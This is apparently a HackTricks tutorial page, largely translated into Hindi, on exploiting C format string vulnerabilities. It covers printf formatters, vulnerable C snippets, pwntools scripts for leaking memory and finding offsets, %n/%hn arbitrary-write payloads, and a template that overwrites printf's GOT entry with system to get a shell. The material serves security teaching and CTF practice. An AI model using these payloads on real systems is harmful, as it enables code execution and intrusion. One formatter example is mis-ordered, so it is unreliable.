Format Strings

Support HackTricks

Basic Information

C में printf एक फ़ंक्शन है जिसका उपयोग किसी स्ट्रिंग को प्रिंट करने के लिए किया जा सकता है। इस फ़ंक्शन की पहली पैरामीटर जो अपेक्षित है वह है फॉर्मेटर्स के साथ कच्चा टेक्स्टअन्य पैरामीटर जो अपेक्षित हैं वे हैं कच्चे टेक्स्ट से फॉर्मेटर्स को बदलने के लिए मान

अन्य संवेदनशील फ़ंक्शन हैं sprintf() और fprintf()

संवेदनशीलता तब प्रकट होती है जब हमलावर टेक्स्ट को इस फ़ंक्शन के पहले तर्क के रूप में उपयोग किया जाता है। हमलावर एक विशेष इनपुट तैयार करने में सक्षम होगा जो printf फॉर्मेट स्ट्रिंग क्षमताओं का दुरुपयोग करके किसी भी पते (पढ़ने योग्य/लिखने योग्य) में कोई भी डेटा पढ़ने और लिखने के लिए। इस तरह से मनमाने कोड को निष्पादित करने में सक्षम होना।

Formatters:

%08x> 8 hex bytes
%d> Entire
%u> Unsigned
%s> String
%p> Pointer
%n> Number of written bytes
%hn> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

उदाहरण:

  • कमजोर उदाहरण:

char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • सामान्य उपयोग:

int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • गायब तर्कों के साथ:

printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf कमजोर:

#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}

Pointers तक पहुँचना

फॉर्मेट %<n>$x, जहाँ n एक संख्या है, printf को यह संकेत करने की अनुमति देता है कि n पैरामीटर (स्टैक से) का चयन करें। इसलिए यदि आप printf का उपयोग करके स्टैक से 4वें पैरामीटर को पढ़ना चाहते हैं, तो आप कर सकते हैं:

printf("%x %x %x %x")

और आप पहले से चौथे पैरामीटर तक पढ़ सकते हैं।

या आप कर सकते हैं:

printf("$4%x")

और सीधे चौथे को पढ़ें।

ध्यान दें कि हमलावर printf पैरामीटर को नियंत्रित करता है, जिसका अर्थ है कि उसका इनपुट printf के कॉल होने पर स्टैक में होगा, जिसका अर्थ है कि वह स्टैक में विशिष्ट मेमोरी पते लिख सकता है।

एक हमलावर जो इस इनपुट को नियंत्रित करता है, स्टैक में मनमाने पते जोड़ने में सक्षम होगा और printf को उन्हें एक्सेस करने के लिए मजबूर करेगा। अगले अनुभाग में इस व्यवहार का उपयोग कैसे करें, यह समझाया जाएगा।

मनमाना पढ़ना

फॉर्मेटर %n$s का उपयोग करना संभव है ताकि printf n स्थिति में स्थित पते को प्राप्त कर सके, इसके बाद और इसे एक स्ट्रिंग की तरह प्रिंट करे (जब तक 0x00 नहीं मिलता)। तो अगर बाइनरी का बेस पता 0x8048000 है, और हम जानते हैं कि उपयोगकर्ता इनपुट स्टैक में चौथी स्थिति से शुरू होता है, तो बाइनरी की शुरुआत को प्रिंट करना संभव है:

from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

ध्यान दें कि आप इनपुट की शुरुआत में 0x8048000 का पता नहीं डाल सकते क्योंकि स्ट्रिंग उस पते के अंत में 0x00 पर कट जाएगी।

ऑफसेट खोजें

अपने इनपुट के लिए ऑफसेट खोजने के लिए आप 4 या 8 बाइट्स (0x41414141) भेज सकते हैं उसके बाद %1$x और मान बढ़ाएं जब तक कि A's प्राप्त न हो जाएं।

ब्रूट फोर्स printf ऑफसेट

```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

Iterate over a range of integers

for i in range(10):

Construct a payload that includes the current integer as offset

payload = f"AAAA%{i}$x".encode()

Start a new process of the "chall" binary

p = process("./chall")

Send the payload to the process

p.sendline(payload)

Read and store the output of the process

output = p.clean()

Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output

if b"41414141" in output:

If the string is found, log the success message and break out of the loop

log.success(f"User input is at offset : {i}") break

Close the process

p.close()

</details>

### कितनी उपयोगी

मनमाने पढ़ने से निम्नलिखित में मदद मिल सकती है:

* **बाइनरी** को मेमोरी से **डंप** करना
* **संवेदनशील** **जानकारी** संग्रहीत करने वाले मेमोरी के विशिष्ट भागों तक **पहुँच** प्राप्त करना (जैसे कि कैनरी, एन्क्रिप्शन कुंजी या कस्टम पासवर्ड जैसे इस [**CTF चुनौती**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) में)

## **मनमाना लिखना**

फॉर्मेटर **`$<num>%n`** **लिखता** है **लिखे गए बाइट्स की संख्या** को **संकेतित पते** में \<num> पैरामीटर में स्टैक में। यदि एक हमलावर printf के साथ जितने भी अक्षर लिख सकता है, वह **`$<num>%n`** को एक मनमानी संख्या को एक मनमाने पते पर लिखने में सक्षम होगा।

भाग्यवश, संख्या 9999 लिखने के लिए, इनपुट में 9999 "A"s जोड़ना आवश्यक नहीं है, इसलिए ऐसा करने के लिए फॉर्मेटर **`%.<num-write>%<num>$n`** का उपयोग करके संख्या **`<num-write>`** को **`num` स्थिति द्वारा इंगित पते** में लिखा जा सकता है।
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

हालांकि, ध्यान दें कि आमतौर पर एक पता जैसे 0x08049724 (जो एक HUGE संख्या है जिसे एक बार में लिखना है) लिखने के लिए, $hn का उपयोग किया जाता है बजाय $n के। यह केवल 2 बाइट्स लिखने की अनुमति देता है। इसलिए, यह ऑपरेशन दो बार किया जाता है, एक बार पते के उच्चतम 2B के लिए और दूसरी बार निम्नतम के लिए।

इसलिए, यह भेद्यता किसी भी पते में कुछ भी लिखने की अनुमति देती है (मनमाना लेखन)।

इस उदाहरण में, लक्ष्य यह होगा कि एक फ़ंक्शन के पते को ओवरराइट किया जाए जो बाद में कॉल किया जाएगा। हालांकि, यह अन्य मनमाने लेखन को exec तकनीकों का दुरुपयोग कर सकता है:

हम एक फ़ंक्शन को ओवरराइट करने जा रहे हैं जो उपयोगकर्ता से अपने आर्गुमेंट्स प्राप्त करता है और इसे system फ़ंक्शन की ओर इशारा करता है। जैसा कि उल्लेख किया गया है, पते को लिखने के लिए आमतौर पर 2 चरणों की आवश्यकता होती है: आप पहले 2Bytes का पता लिखते हैं और फिर अन्य 2। ऐसा करने के लिए $hn का उपयोग किया जाता है।

  • HOB को पते के 2 उच्च बाइट्स के लिए कहा जाता है

  • LOB को पते के 2 निम्न बाइट्स के लिए कहा जाता है

फिर, फ़ॉर्मेट स्ट्रिंग के काम करने के तरीके के कारण, आपको पहले सबसे छोटे [HOB, LOB] को लिखना होगा और फिर दूसरे को।

यदि HOB < LOB [address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

यदि HOB > LOB [address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools टेम्पलेट

आप इस प्रकार की कमजोरियों के लिए एक टेम्पलेट तैयार करने के लिए पा सकते हैं:

या यहां से यह बुनियादी उदाहरण:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings to BOF

यह संभव है कि एक फॉर्मेट स्ट्रिंग कमजोरियों के लिखने के कार्यों का दुरुपयोग करके स्टैक के पते में लिखें और बफर ओवरफ्लो प्रकार की कमजोरी का शोषण करें।

Other Examples & References

Last updated